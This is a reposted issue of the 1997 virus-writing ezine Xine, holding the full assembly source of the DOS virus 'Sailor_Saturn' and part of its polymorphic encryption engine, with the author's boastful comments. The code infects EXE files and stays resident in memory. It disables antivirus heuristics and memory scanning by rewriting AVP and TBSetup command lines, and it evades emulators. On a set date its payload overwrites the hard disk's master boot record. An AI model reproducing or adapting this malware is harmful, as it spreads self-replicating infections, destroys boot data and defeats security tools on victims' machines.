Copy Link
Add to Bookmark
Report

Xine - issue #3 - Phile 211

eZine's profile picture
Published in 
Xine
 · 4 May 2024

 
/-----------------------------\
| Xine - issue #3 - Phile 211 |
\-----------------------------/



;
; Virus Name : Sailor_Saturn
; Virus Author : b0z0/iKx
; Origin : Padania, Mid/Late 1997
; Target : EXE files
; Poly : SMPE v0.3
; Compiling : TASM 3.0 prefeered
; TASM /m5 /l sat.asm
; TLINK sat
; Goodies :
; - Scans MCBs for resident antiviruses
; - Fast infection when some programs are run.
; The fast infection is done on Findfirst/Findnext
; (4Eh/4Fh) calls. The virus will of course correct
; the lenght of the newly infected files in the DTA,
; so there won't be any shitty corruption or alarm
; from packagers or other stuff. The programs when
; Sailor_Saturn becames a very-fast infector are:
; Packagers : PKZIP, ARJ, LHA, RAR
; Others : TBSetup (so every file added to
; the ANTI-VIR.DAT will be infected
; and the data in the CRC file will
; be correct... thanx TBSetup :)) ),
; XCOPY (usual tool for copying under
; a lot of DOS flavours, quite used),
; BACKUP (or any file starting with
; BACK, usual DOS backupping program)
; - Modifies TBSetup command line options:
; If the users tries to just update new files to
; prevent storing the CRC of infected ones (using
; the no or newonly commands) the virus will delete
; that command line parameters with spaces. This will
; be done also if the user tries to use the pause (or
; pa) command that pauses after every full screen.
; Randomly (with a 1:8 probability) the bad commands
; (pa, no...) are substituted with a 'ad' parameter
; that orders to TBSetup to scan (ie. infect :) ) all
; the disk drives on the system ]8)
; - Modifies AVP and AVPLITE line options setting the /M and /H
; options, this is don't scan memory and disable heuristics
; - Doesn't infect many antiviruses
; - Doesn't infect files with digits in the filename
; - Some other usual antibait checks
; - Nothing special, the 'good stuff' should be in the poly
; - Payload with graphic effect on 14th sept. The original MBR
; will be substituted with one displaying the Padanian flag.
; If user will be smart enough, the original MBR will be
; restored and the user let to continue his work, check it
; out! :) The payload is done to say happy birthday to
; Padania (that born officially the 14th september 1997)
; Poly notes :
; - Creates really a lot of different garbage (math ops, ints,
; calls, reg stuff, pushes, pops, mem references, cmpares...
; give it a look) with various operand size and type
; - Encryption using bytes, words and dwords
; - Encryption using ROL/ROR with stable or changing rotations
; number
; - Encryption using ADD/SUB/XOR with fixed or changing
; encryption value (changing enc value not for byte
; operations). The change to the encryption value will be
; done with an ADD/SUB/XOR with a random value or with a
; stable ROR/ROL of 1
; - Encryption can be done from the start to the end or in the
; reverse way
; - Some garbage instruction can be encrypted
; - Can use all the pointer registers as pointers and all the
; registers except AX for counters and for key holders
; - Generates a lot of different variants of loops and
; comparations for counters and such
; - Some anti-emulation traps
; - Quite fast poly, not too bigger than the previous versions
; even if it has plenty new features
; - Should generate very variable size decryptors (from less than
; hundred bytes also up to 15kb decryptors, of course in some
; largest cases). Also big decryptors should not get tooooo
; much time to execute (except under win and such stuff) but
; should be quite bitching for AVs.
; - Generate a few samples to see what it does, I already
; forgot what I wrote ;-)
; - Maybe this is the last version of SMPE. I think that the
; poly itself is quite ok, the problem is that this type of
; poly conception is old, so I should not work on it too
; much in the future.
;
; This virus is dedicated to all the ppl in Padania. Padania libera!
;
;

saturn segment
assume cs:saturn,ds:saturn,es:saturn

.386

org 00h

saturn_start:
call get_offset
get_offset:
pop bp

sub bp,offset get_offset ; bp has delta offset

mov di,offset original_cs
add di,bp

mov ax,es
add ax,10h
add word ptr cs:[di],ax ; restore host cs:ip

push ax

mov ax,1875h
int 21h ; residency check

cmp ax,7975h
je return_old_noseg

not_present:
push di
push es

push es
mov ah,52h ; get list of lists
int 21h
mov ds,word ptr es:[bx-2] ; first mcb
mov dx,ds
pop es

next_mcb:
mov si,08h
mov di,offset mem_strings
add di,bp
lodsw ; ax <- ds:[08]

mov cx,mem_string_num
mem_loop:
cmp ax,word ptr cs:[di]
je return_old
inc di
inc di
loop mem_loop

xor si,si

lodsb ; al = ds:[0]
cmp al,byte ptr cs:[di - (mem_string_num * 2) - 3]
; last mcb ? ('Z')
je last_mcb

inc dx
add dx,word ptr ds:[si+2]
mov ds,dx ; on next mcb
jmp next_mcb
last_mcb:
xor di,di

mov ax,saturn_mem_para + 1 ; virus paras + one for mcb
sub word ptr ds:[di+03h],ax
sub word ptr es:[di+02h],ax
mov byte ptr ds:[di],'M'

add dx,word ptr ds:[di+03h]
inc dx
mov ds,dx

dec ax ; ax = saturn_mem_para
mov byte ptr ds:[di],'Z' ; last block
mov word ptr ds:[di+01h],8h ; owner dos
mov word ptr ds:[di+03h],ax
mov dword ptr ds:[di+08h],'SOD'

inc dx ; virus memory block
mov es,dx

push cs
pop ds

mov cx,(saturn_mem_size + 1)/2
mov si,bp
rep movsw ; copy the virus to mem

push es
pop ds

mov ax,3521h ; save int21h
int 21h

push es
push bx
pop dword ptr ds:[old_21h]

mov dx,offset vir_21handler ; hook int 21h in a winzooz
mov ax,2521h ; compatible way
int 21h

mov byte ptr ds:[filename],'\' ; fastinf init so
; inf routines are
; the same as for 4bh

mov ah,2ah ; get date
int 21h

cmp dx,090eh ; the 14th of september?
jne return_old

call payload_activation

return_old:
pop es
pop di

return_old_noseg:

pop ax

push es
pop ds

jmp prefetch_jump ; must be quite sure that
; later cs:ip pushes won't
; be prefetched

vir_name db 'Sailor_Saturn',0
vir_auth db '-b0z0/iKx-',0

original_ss dw 00000h
z_char db 'Z'
original_sp dw 00000h

mem_string_num = 4 ; number of mem strings
file_string_num = 10 ; number of file strings
mem_strings db 'TB','NE','VI','NA','F-','AV','FI','MS','SC','CO'
last_name db 'NL' ; this word will contain the
; first two letters of the
; last infected filename.
; Since two quite equal named
; files should be a bait
back_there:

xor bx,bx ; zero regs
sub cx,cx
xor dx,dx
sub si,si
xor bp,bp

cli ; set original SS:SP
add ax,word ptr cs:[di+ (original_ss - original_cs)]
mov ss,ax
mov sp,word ptr cs:[di+ (original_sp - original_cs)]
sti

xor di,di
sub ax,ax

db 68h ; push cs
original_cs dw 0fff0h
db 68h ; push ip
original_ip dw 00000h
retf ; go to orig cs:ip


simulate21:
pushf
call dword ptr cs:old_21h
ret

payload_activation:
push ds ; DS = ES = virus block in mem
pop es

mov bx,offset saturn_stack ; we use code and stack from
; the virus just loaded in mem
mov ax,201h
mov dx,80h ; read the MBR to our mem
mov cx,1
int 13h

mov ax,301h ; save MBR at 0,0,4
mov cx,4
int 13h

mov di,bx
mov si,offset payload_mbr

mov ax,(512 - 4) / 4
mov cx,(payload_mbr_lenght + 3) / 4 ; lenght in dwords
sub ax,cx
rep movsd

mov cx,ax

mov eax,' NDP' ; be sure that the partition
rep stosd ; table will be overwritten

mov word ptr ds:[saturn_stack + 200h - 2h],0aa55h

mov ax,301h ; write the virus mbr
mov cx,1
int 13h

ret

; Fast infection on 4Eh/4Fh (Findfirst/Findnext)
findfirst_call:
pusha
push es

cld
lea di,(filename+1)
mov si,dx
push cs
pop es
mov word ptr cs:[di-5],di ; offset of filename
getpath:
lodsb ; save search path
cmp al,00h
je pathexit
stosb ; es:di = filename
cmp al,':'
je ok_sepa
cmp al,'\'
jne getpath
ok_sepa:
mov word ptr cs:[filenameoff],di
jmp getpath
pathexit:
pop es ; restore regs
popa

findnext_call:
call simulate21

pusha
push ds
push es
pushf

cld

mov ah,2fh ; get DTA
call simulate21

mov di,cs:[filenameoff]
mov si,bx
add si,1eh ; filename
push es
pop ds
push cs
pop es

push si
getfname:
lodsb
stosb
cmp al,'.'
jne isntadot
mov word ptr cs:[filedotoff],di ; save dot position
isntadot:
or al,al ; end of filename?
jne getfname

pop si

push ds
pop es ; ES:SI on filename in DTA

push cs
pop ds

mov dx,offset filename + 1
mov di,[filedotoff]
founded_dot:
cmp dword ptr ds:[di-1],'EXE.' ; .exe
jne go_away
ok_inf:
mov word ptr ds:[inflenght],00h
call infect_fast
xor eax,eax
mov ax,word ptr ds:[inflenght]
add dword ptr es:[si-1eh+1ah],eax ; set real (infected)
; lenght in the DTA
go_away:
popf
pop es
pop ds
popa

retf 2

; Virus Int 21h handler
vir_21handler:
cmp ax,1875h
jne no_resid
mov ax,7975h ; residency check
iret
no_resid:

cmp byte ptr cs:[fast_infection],00h
je no_fast_inf

cmp ah,4eh
je findfirst_call

cmp ah,4fh
je findnext_call

no_fast_inf:
cmp ax,4b00h ; exec?
je exec_call

cmp ah,4ch ; program exiting?
jne chain_21h ; if so reset fast_inf

mov byte ptr cs:[fast_infection],00h

chain_21h:
db 0eah
old_21h dd 0000h


exec_call:
pushf
push offset exit_vir_vl

infect_fast:

cli
mov word ptr cs:[int21h_sp],sp ; set to our stack
mov word ptr cs:[int21h_ss],ss
mov sp,cs
mov ss,sp
mov sp,offset stack_end - 1
sti

push ds
push es
pushad

mov ah,19h
call simulate21

cmp al,2
jae ok_disk
jmp exit_vir

ok_disk:
cld
mov si,dx
name_loop:
lodsb
cmp al,'.'
jne name_loop
cmp byte ptr ds:[si+3],00h
jne name_loop

dec si
dec si
std
slash_loop:
lodsb
cmp al,'0' ; no digits in filename
jb no_number
cmp al,'9'
jbe exit_vir
no_number:
cmp al,'\'
jne slash_loop

inc si
inc si
cld

lodsd ; EAX = first 4 letters

cmp byte ptr cs:[fast_infection],01h
je no_fast_now ; if already in fastinf then
; we should be in a 4eh/4fh,
; so no param change of coz :)

cmp eax,'ESBT' ; TBSEtup running maybe?
jne no_tbsetup

cmp dword ptr es:[si],'.PUT' ; be sure about it
jne no_tbsetup

tbsetup_cmd:
; ES:BX on exec parameter block
pusha
push ds

mov ds,word ptr es:[bx+04h]
mov si,word ptr es:[bx+02h]

; DS:SI are on the command line parameters

mov di,2020h
call do_random_dx_0f ; get a rnd number
; from poly generator
or al,al
jnz not_too_evil
mov di,'da' ; set 'Entire disk'
; instead of spaces
; as the cmdline if
; bad command found ]:)
not_too_evil:
push di
push di
pop ebx

mov dl,0dh ; cr in dl

cmdline_loop:
mov al,byte ptr ds:[si]
inc si

cmp al,dl ; CR? end of cmdline
je end_cmdline

cmp al,bl ; space?
je cmdline_loop

cmp byte ptr ds:[si-2],bl ; beginning of a cmd?
jne cmdline_loop

mov cl,byte ptr ds:[si+1]

mov ah,byte ptr ds:[si]
or ax,bx ; convert to lowercase

cmp ax,'ap' ; pause at cmdline?
jne no_pause

cmp cl,dl
je good_pause

cmp cl,bl
jne long_pause
good_pause:
mov word ptr ds:[si-1],di ; delete bad cmd
jmp cmdline_loop
long_pause:
mov ax,word ptr ds:[si+2]
or ax,bx

cmp ax,'es' ; seems pause?
jne cmdline_loop

cmp byte ptr ds:[si+4],dl
je good_lpa

cmp byte ptr ds:[si+4],bl
jne cmdline_loop
good_lpa:
mov dword ptr ds:[si],ebx
mov word ptr ds:[si-1],di ; delete bad cmd
no_pause:
cmp ax,'on' ; no (newonly) ?
jne no_news

cmp cl,dl ; a CR after 'no' ?
je good_param

cmp cl,bl ; a space after it?
jne no_news ; if not maybe just a
; filemask, no param
good_param:
mov word ptr ds:[si-1],di ; delete bad cmd

no_news:
cmp ax,'en' ; newonly?
jne cmdline_loop

mov ax,word ptr ds:[si+4]
or ax,bx

cmp ax,'yl' ; seems newonly?
jne cmdline_loop

cmp byte ptr ds:[si+6],dl ; a CR after cmd ?
je good_long

cmp byte ptr ds:[si+6],bl ; a space after it?
jne cmdline_loop

good_long:
mov dword ptr ds:[si],ebx ; delete with some
mov byte ptr ds:[si-1],bl ; spaces
mov word ptr ds:[si+4],di ; delete bad cmd

jmp cmdline_loop
end_cmdline:
pop ds
popa

jmp set_fast
no_tbsetup:
cmp eax,'IZKP' ; PKZIp running maybe?
je set_fast

cmp eax,'.AHL' ; LHA running?
je set_fast

cmp eax,'.RAR' ; RAR running?
je set_fast

cmp eax,'.JRA' ; ARJ running?
je set_fast

cmp eax,'POCX' ; XCOPy running?
je set_fast

cmp eax,'KCAB' ; Backupper running?
je set_fast

cmp eax,'.PVA' ; AVP running?
je nomem_toavp

cmp eax,'LPVA' ; should be AVPLite?
jne no_fast_now

cmp dword ptr es:[si],'.ETI'; really AVPLITE ?
jne no_fast_now

nomem_toavp:
pusha
push ds

mov ds,word ptr es:[bx+04h] ; to params
mov si,word ptr es:[bx+02h]

add byte ptr ds:[si],05h ; adjust lenght of params

search_end:
lodsb
cmp al,0dh ; end of params?
jne search_end

mov dword ptr es:[si-1],'/M/ ' ; add ' /M/H' + CR
mov word ptr es:[si+3],0d48h ; at the end of the
; avp command line
pop ds
popa

jmp no_fast_now
set_fast:
mov byte ptr cs:[fast_infection],01h
no_fast_now:
mov cx,file_string_num + 1 ; the AVs or such plus
; one last infected
; file (antibait)
cmp byte ptr cs:[fast_infection],01h
jne normal_ab
dec cx ; on fastinf just
; infect fast! :)
normal_ab:
mov si,offset mem_strings - 2
avf_loop:
inc si
inc si

cmp ax,word ptr cs:[si] ; an AV ?
je exit_vir
loop avf_loop

mov word ptr cs:[tmp_name],ax

mov es,cx

push cs
push offset vir_24handler
pop eax

cli
xchg eax,dword ptr es:[090h] ; set our int24h
mov dword ptr cs:[old_24h],eax
sti

mov ax,4300h
call simulate21 ; get attribs

push ds
push dx ; save attribs
push cx

xor cx,cx
call chmod_file ; reset attribs

jnc chmod_ok

add sp,6
jmp exit_vir_24

chmod_ok:
mov ax,3d02h ; open for rw
call simulate21
jc exit_vir_att

mov bx,ax

mov ax,5700h ; get file time
call simulate21
push dx
push cx

push cs
pop ds

mov ah,3fh ; read
mov cx,1ch
lea dx,head_buffer
call simulate21

mov si,dx

mov ax,'ZM'

sub ax,word ptr ds:[si] ; MZ check
jnz not_an_exe

mov ax,word ptr ds:[si+12h] ; infection mark
xor ax,word ptr ds:[si+02h]
sub ax,'SS' ; already infected?
jz not_an_exe
cmp byte ptr ds:[si+18h],'@' ; no winexes
je not_an_exe
cmp word ptr ds:[si+1ah],00h ; no overlays
jne not_an_exe

call infect_exe

not_an_exe:
pop cx
pop dx
mov ax,5701h ; set old time
call simulate21

mov ah,3eh ; close
call simulate21

exit_vir_att:
pop cx
pop dx
pop ds
call chmod_file ; set old attributes

exit_vir_24:

xor ax,ax ; set the old int24h
mov ds,ax
push dword ptr cs:[old_24h]

cli
pop dword ptr ds:[090h]
sti

exit_vir:
popad
pop es
pop ds

cli
mov ss,word ptr cs:[int21h_ss]
mov sp,word ptr cs:[int21h_sp]
sti

ret ; return to fast inf routine
; or continue to exit_vir_vl
; depending on how infection
; was called
exit_vir_vl:
popf
jmp chain_21h


chmod_file:
mov ax,4301h
call simulate21
ret

infect_exe:
push dword ptr ds:[si+14h] ; store CS:IP
pop word ptr ds:[original_ip]
pop word ptr ds:[original_cs] ; store orig CS

push dword ptr ds:[si+0eh] ; store SS:SP
pop word ptr ds:[original_ss]
pop word ptr ds:[original_sp]

mov cx,word ptr [si+04h] ; calculate real lenght
mov ax,512
mul cx
add ax,word ptr [si+02h]
adc dx,00h

mov di,dx
push ax

mov al,02h
call lseekfile

pop cx

cmp dx,di
jbe ok_lenght
exit_lenght:
ret
ok_lenght:
cmp ax,cx
ja exit_lenght

push ax
and ax,01ffh ; can be divided by 1024
pop ax
jz exit_lenght

push ax ;store length
push dx

mov cx,10h
div cx

sub ax,word ptr [si+08h]
mov word ptr [si+14h],dx
mov word ptr [si+16h],ax

mov bp,dx

push dx
push ds
push ax
push si

push 0fh
in al,40h ; max garbage will be 0Fh or 1Fh ?
ror al,1
pop ax
jnc no_plus10
add ax,10h
no_plus10:
cmp byte ptr ds:[fast_infection],01h
jne good_garbage

push 03h ; if fastinfection then limit the
in al,40h ; max garbage in every section to
ror al,1 ; 3 or to 7 (randomly selected) so
pop ax ; it will be faster
jnc good_garbage
add ax,04h

good_garbage:
mov cx,saturn_size
xor dx,dx

call smpe ; Call poly engine

push es
pop ds
pop si

jnc ok_poly
add sp,0ah ; if error correct stack and exit
ret
ok_poly:

mov ah,40h ;write virus at end
push cx
push cx
pop word ptr cs:[inflenght]
call simulate21

sub al,al ;move at start
call lseekfile

pop cx
pop ax
pop ds
pop dx

add word ptr [si+14h],di

cmp byte ptr [seg_sta],02h
je cs_must_equ_ss

inc ax ; SS = CS + 1 except when
; BP used, so SS=CS
cs_must_equ_ss:
mov word ptr [si+0eh],ax ; new stack segment

add dx,cx ; just after body
add dx,500h ; some more is needed
and dl,0feh
mov word ptr ds:[si+10h],dx ; new stack pointer

pop dx
pop ax

add ax,cx
mov cx,200h ; one page
adc dx,00h
div cx

mov word ptr [si+02h],dx ; new length

inc ax
mov word ptr [si+04h],ax ; new length

xor dx,'SS'
mov word ptr [si+12h],dx ; set infection marker

mov ah,40h
mov cx,1ch ; write new header
mov dx,si
call simulate21

push word ptr ds:[tmp_name] ; good infection, so put name
pop word ptr ds:[last_name] ; not to infect next time

exitexeinfect:
ret

vir_24handler:
mov al,00h
iret

lseekfile:
mov ah,42h ; move to start or end
cwd
sub cx,cx
call simulate21
ret


; Here starts the MBR that will be set on payload activation
payload_mbr:
cli
xor ax,ax
mov ss,ax
mov sp,7c00h ; set SS:SP as usual
sti

push cs
pop ds

mov al,02h ; set to 80x25
int 10h

mov ah,01h
xor cx,cx ; set cursor invisible
int 10h

mov ax,1000h ; set palette register
push ax
mov bx,2a0ah ; reg 0a to 2a, our green
int 10h

pop ax
mov bx,3f07h ; reg 07 to our white
int 10h

mov ax,0b800h
mov es,ax

mov si,(offset disegno - offset payload_mbr + 7c00h)
; DS:SI on our data
xor di,di ; ES:DI video memory

;
; since the "Sole delle Alpi" has two coordinates of simmetry we just have
; a quarter of it as data and we will calculate the other three points that
; are equal
;
mov cx,13d ; lines to draw (in reality
; 13 * 2 - 1, since the sun
; is simmetric and the central
; line will be drawn twice)
next_line:
push cx
mov cl,10d ; every halfline (since the sun
; is simmetric in both X and Y)
; is made of 10 bytes
next_entry:
lodsb

push cx
mov cl,04h ; every byte contains 4 chars
mov bl,al
this_word:
mov ax,07a20h ; colours and space char

shl bl,1 ; decode the char to be made
jnc is_a_zero ; 11 = space
shl bl,1 ; 00 = full rectangle
jc draw_it ; 01 = high half of rect.
add al,0bch ; 10 = low half of rect.
jmp draw_it
is_a_zero:
add al,0bbh
shl bl,1
jnc draw_it
add al,4
draw_it:
mov bh,23
mov dx,di ; here we calculate at which
dododo: ; line we currently are (out
cmp dx,80d ; in BH) and in which column
jb okeee ; (out in DX)
sub dx,80d
dec bh
jmp dododo
okeee:
add dx,dx ; * 2, since the is also a
; colour byte
push ax

push di
sub di,dx
add di,09fh-1 ; calculate the coord. of the
stosw ; point on the right half of
pop di ; the display

push di
lin_loo:
add di,160d
or bh,bh
jz fin1 ; calculate the coord. of the
dec bh ; point on the bottom half of
jmp lin_loo ; the display
fin1:
cmp al,0dch
jne not_bass ; we must convert low half
mov al,0dfh ; rect. to high and high to low
jmp stototo
not_bass:
cmp al,0dfh
jne stototo
mov al,0dch
stototo:
stosw
sub di,dx
add di,09fh-3 ; finally the bottom right part
stosw
pop di

pop ax

stosw ; store the upper left part

loop this_word

pop cx
loop next_entry

pop cx
add di,40*2 ; next line
loop next_line

; end of drawing

; SI is already on the string we have to check
push si
kbd_check:
mov ah,10h ; get keystroke (wait if none)
int 16h

cmp al,byte ptr ds:[si] ; control if user is typing our
jne goto_start ; magic string

inc si

cmp byte ptr ds:[si],00h ; end of string
je good_phrase

jmp kbd_check
goto_start:
pop si
push si
jmp kbd_check

good_phrase:
; If user says types in "Free Padania" then we will restore the original MBR
; and boot from there

pop si ; correct stack

push cs
pop es

mov ax,201h
mov bx,7e00h ; mem after ourselves
mov dx,80h
mov cx,4h ; read original MBR
int 13h ; from 0,0,4

mov ax,301h
mov cx,1
int 13h ; reput original MBR on disk

xor ax,ax
dec ax
push ax
inc ax
push ax
retf
; jump there will reboot and let
; the user continue on it's way
; after the reboot with the
; clear idea that Padania
; should be free!
disegno:
db 11111111b,11111111b,11111111b,11111111b,11111111b
db 11111111b,11111111b,11111111b,11111111b,11111111b
db 11111111b,11111111b,11111111b,11111111b,11111111b
db 11111111b,11111111b,11111111b,11101010b,10101010b
db 11111111b,11111111b,11111111b,11111111b,11111111b
db 11111111b,11111111b,10100001b,01010111b,11111110b
db 11111111b,11111111b,11111111b,11111111b,11111111b
db 11111111b,11100001b,01111111b,11111111b,11111000b
db 11111111b,11111111b,11111111b,11111111b,11111111b
db 11111110b,00011111b,11111111b,11111111b,11110000b
db 11111111b,11111111b,11111111b,11111111b,11111111b
db 11100001b,11111111b,11111111b,11111111b,11000000b
db 11111111b,11111111b,11111111b,11111111b,11111110b
db 00011111b,11111111b,11111111b,11111111b,11000000b
db 11111111b,11111111b,11111111b,11111111b,11111000b
db 01000000b,00001010b,10101111b,11111111b,11000000b
db 11111111b,11111111b,11111111b,11111111b,11100011b
db 11110100b,00000000b,00000000b,10101111b,11000000b
db 11111111b,11111111b,11111111b,11111111b,11000111b
db 11111111b,01010000b,00000000b,00000010b,10110000b
db 11111111b,11111111b,11111111b,11111111b,11001111b
db 11111111b,11111101b,01000000b,00000000b,00000000b
db 11111111b,11111111b,11111111b,11111111b,00001111b
db 11111111b,11111111b,11111101b,01010000b,00000000b
db 11111111b,11111111b,11111111b,11111111b,00001111b
db 11111111b,11111111b,11111111b,11111111b,00000000b

string db 'Free Padania',0

payload_mbr_end:

payload_mbr_lenght=offset payload_mbr_end - offset payload_mbr

prefetch_jump:
; check if possible
push 'iH' ; enemy around
pop bx
dec sp
dec sp
pop cx
cmp cx,bx
je ok_stack

mov ax,02h
sub di,(offset original_ss - original_cs)
; if tracer cathed
; on restoration SS:SP will
; be equal to (CS+02h):IP
; i hope he won't use the
; stack ;)
ok_stack:
jmp back_there

include spoly.asm ; SMPE 0.3

saturn_end:
; End of Sailor_Saturn on disk

head_buffer db 1ch dup (?) ; buffer for infection

inflenght dw 00h ; lenght of infection for DTA
tmp_name dw 00h ; tmp space for first 2 fname chars
filenameoff dw ? ; stuff for 4eh/4fh infection
filedotoff dw ?
filename db 4ch dup (?)

fast_infection db 00h ; 00h = Off, 01h = On
old_24h dd 0000h ; int 24h seg:off

int21h_ss dw 00h
int21h_sp dw 00h

saturn_stack db 800h dup (?)
stack_end:

saturn_mem_end:
; End of Sailor_Saturn in memory

saturn_size = (saturn_end - saturn_start - poly_mem_used + 1)
saturn_mem_size = (saturn_mem_end - saturn_start)
saturn_mem_para = (saturn_mem_size + 0fh) / 10h

saturn ends
end saturn_start

---[SPOLY.ASM]------------------------------------------------------------------

;
; Sailor Moon Poly Engine v0.3
; in:
; CX = bytes to encrypt
; DS:DX = what we are going to encrypt (body of ourselves)
; BP = offset at which it will run
; AX = max number of garbage instructions to generate
; it is assumed that DS=CS !!!
;
; out:
; CX = lenght of the generated code
; DI = offset at which enter to the poly (considering that the real
; start is at SEG:0 but we want to make some garbage before the
; real entrypoint)
; ES:DX = generated code
; BX = preserved
;
;

poly_mem_used=(poly_data_mem_end-poly_data_mem)
poly_paras=0a00h ; temp memory for poly is 40kbs, a lot
; more than enough, but to be sure

smpe:
cld
mov word ptr ds:[gnum],ax
push bx

;; Try to allocate the needed memory for the poly stuff

mov ah,48h ; allocate mem for our poly
mov bx,poly_paras
call simulate21
jnc ok_memory

pop bx
stc ; no mem avaiable :(
ret
ok_memory:
mov es,ax ; allocated segment

push cx
push ds ; save important regs
push dx

;; Initialization start

call add_to_cx

xor ebx,ebx
mov ax,9090h

mov si,offset isword

; SI used for many mem references... ONLY in the main decryptor creation
; loop
; points:
; -8 enc_lenght
; -6 last_done
; -5 reg8bits
; -4 pointer_di
; -2 secphs
; SI isword
; +1 isrolror
; +2 push_nr
; +3 can_doda
; +4 count_reg
; +5 point_reg
; +6 nocx
; +7 seg_sta
; +8 emu_trick
; +9 inverse
; +A cmp_check
; +B cmp_check2
; +C ds_mody
; +D counter_pos
; +F jz_nr
; +11 no_imm

mov byte ptr ds:[si+11h],bl
mov word ptr ds:[si+0fh],bx

mov dword ptr ds:[random_ax],ebx

mov word ptr ds:[si-8],cx ; save lenght
mov word ptr ds:[enc_loop],3480h ; engine initialization

mov dword ptr ds:[si],ebx ; clear type selection
mov dword ptr ds:[si+8],ebx

dec ebx
mov dword ptr ds:[si+4],ebx ; clear used registers

mov byte ptr ds:[prefix_386],al

push ax
push ax
pop eax
mov dword ptr ds:[random_value],eax ; clear rnd values
mov dword ptr ds:[modify_key],eax

mov al,46h
mov dword ptr ds:[first_inc],eax ; clear increments

sub di,di ; so ES:DI = ES:0

;; Initialization end


;; Decryption building start

call do_garbage ; decryptor gen. start
push di
call do_garbage
rndget:
call do_random_dx_0f

cmp al,4 ; no sp
je rndget

or al,al ; no ax
jz rndget

mov byte ptr ds:[si+4],al

add al,0b8h ; mov _reg16_,immediate
stosb

in al,40h
ror al,1
jnc on_one_side
mov byte ptr ds:[si+9],01h

on_one_side:

call do_random_dx_0f ; 0-2 ROR, 3-7 MATH

cmp al,2
ja nororing ; select if ror/rol of math

cmp byte ptr es:[di-1],0b9h
je nororing ; if using CX no rol/ror!
mov byte ptr ds:[si+1],01h ; we'll ror/rol

cmp al,0
jne dim_select
inc byte ptr ds:[si+1] ; rol/ror with diff CL
jmp dim_select

nororing:
cmp al,4
ja dim_select

mov byte ptr ds:[si+11h],01h

dim_select:
call do_random_dx_0f ; 0 - 2 byte operation
; 3 - 5 word operation
; 6 - 7 dword operation
cmp al,2
jbe notaword

inc byte ptr ds:[si] ; word operation

cmp al,5
jbe notaword

inc byte ptr ds:[si] ; dword operation

notaword:
cmp byte ptr ds:[si+11h],01h ; no 8bit stuff with reg
jne no_chck ; modifications
cmp al,2
ja no_chck
inc byte ptr ds:[si]
no_chck:
mov word ptr ds:[si+0dh],di
stosw ; we will fill this later
call do_garbage ; shit stuff

isntapnt:
call do_random_dx_0f
cmp al,03h ; select a pointer
jb isntapnt
cmp al,04h
je isntapnt
cmp al,byte ptr ds:[si+4] ; can't be same as counter
je isntapnt
mov byte ptr ds:[si+5],al

add al,0b8h ; mov _reg16_,immediate
stosb

mov word ptr [si-4],di ; save pointer position
stosw

call do_garbage
cmp byte ptr ds:[si+1],00h
je dontcl

in al,40h
shr ax,1
pushf
jc make_a_cx
mov al,0b1h ; mov cl,rot_num
stosb
jmp redorandom
make_a_cx:
mov al,0b9h ; mov cx,rot_num
stosb

redorandom:
mov bx,0fh ; how many rols/rors
mov dx,bx
call do_random
cmp al,00h
je redorandom
stosb
mov byte ptr ds:[cl_move],al

mov byte ptr ds:[si+6],01h

popf
jnc no_cxbadd
in al,40h ; something for ch
stosb
no_cxbadd:
call do_garbage ; garbage
dontcl:

mov ax,di
ror al,1
pushf
jc withsegmentop

mov al,0eh ; PUSH CS
stosb
call do_garbage
mov al,1fh ; POP DS
stosb

mov byte ptr ds:[si+0ch],00h ; don't use ds
mov byte ptr ds:[si+7],01h

withsegmentop:

cmp byte ptr ds:[si+11h],01
jne d_immedia
rndget2:

call do_garbage

call do_random_dx_0f

cmp al,4 ; no sp
je rndget2

cmp al,byte ptr ds:[si+5h]
je rndget2

cmp al,byte ptr ds:[si+04h]
je rndget2

or al,al ; no ax
jz rndget2

mov byte ptr ds:[si+6],al

cmp byte ptr ds:[si],02h
jne no_prefix3

call set_386_prefix

no_prefix3:
add al,0b8h
stosb

xor bx,bx
dec bx
mov dx,bx
call do_random
stosw
mov word ptr ds:[random_ax],ax

cmp byte ptr ds:[si],01h
je d_immediap1

call do_random

stosw
mov word ptr ds:[random_ax+2],ax

d_immediap1:
call do_garbage

d_immedia:

mov word ptr ds:[si-2],di ; where we will jump

call do_garbage

popf
jnc mathoperation

mov al,02eh ; CS:
stosb
mathoperation:
cmp byte ptr ds:[si+1],00h
je puremath
mov al,0d2h ; ROL/ROR base byte
cmp byte ptr ds:[si],00h
je rolbyte
inc al ; word = byte +1

cmp byte ptr ds:[si],01h
je rolbyte

call set_386_prefix

rolbyte:
stosb ; first rol/ror byte
call do_random_dx_0f
ror al,1
mov al,04h
jnc rollinging
add al,08h ; roring
mov byte ptr [enc_loop+1],04h ; encryptor always with SI
jmp rolend
rollinging:
mov byte ptr [enc_loop+1],0ch ; ROL/ROR base
rolend:

mov cl,byte ptr [si+5] ; used register
cmp cl,06h ; use SI
je finish_pointer_ro
inc al
cmp cl,07h ; use DI
je finish_pointer_ro
add al,2
cmp cl,03h ; use BX
je finish_pointer_ro
add al,03fh ; so it is bp
inc byte ptr [si+7]
stosb
sub al,al ; bp needs 1 byte more
finish_pointer_ro:
stosb
jmp nowordi
puremath:

cmp byte ptr ds:[si+11h],00h
je immediate_use
cmp byte ptr ds:[si],02h
jne op_selecting
call set_386_prefix

cmp byte ptr es:[di-2],02eh
jne no_probs
mov word ptr es:[di-2],0662eh

no_probs:
jmp op_selecting

immediate_use:

mov al,080h ; ADD/SUB/XOR base
cmp byte ptr ds:[si],00h
je goforbyte

inc al ; word = byte + 1
cmp byte ptr ds:[si],01h
je goforbyte

call set_386_prefix

goforbyte:
stosb

op_selecting:
mov bx,02h
mov dx,03h
call do_random ; select which
mov cl,al
mov al,01h

mov bl,29h

cmp byte ptr ds:[si+11h],01h
je no_addo
add bl,3
add al,3

no_addo:

cmp cl,00h
jne subbing
mov byte ptr [enc_loop+1],bl ; ADD ,2ch
jmp xoring
subbing:
cmp cl,02h
je xor_oper
sub bl,28h+08h
add al,28h-30h
xor_oper:
add al,30h
add bl,08h
mov byte ptr [enc_loop+1],bl ; SUB ,04h
xoring:
cmp byte ptr ds:[si+11h],01h
jne no_store
stosb

mov cl,byte ptr ds:[si+6h]
mov al,04h
addon:
add al,08h
loop addon

no_store:
mov cl,byte ptr [si+5]
cmp cl,06h ; SI?
je finish_pointer
inc al
cmp cl,07h ; DI?
je finish_pointer
add al,2
cmp cl,03h ; BX?
je finish_pointer
add al,03fh ; well, BP!
inc byte ptr [si+7]
stosb
sub al,al ; bp needs 1 byte more
finish_pointer:
stosb

cmp byte ptr ds:[si+11h],01h
je nowordi

xor bx,bx
dec bx
mov dx,bx

call do_random

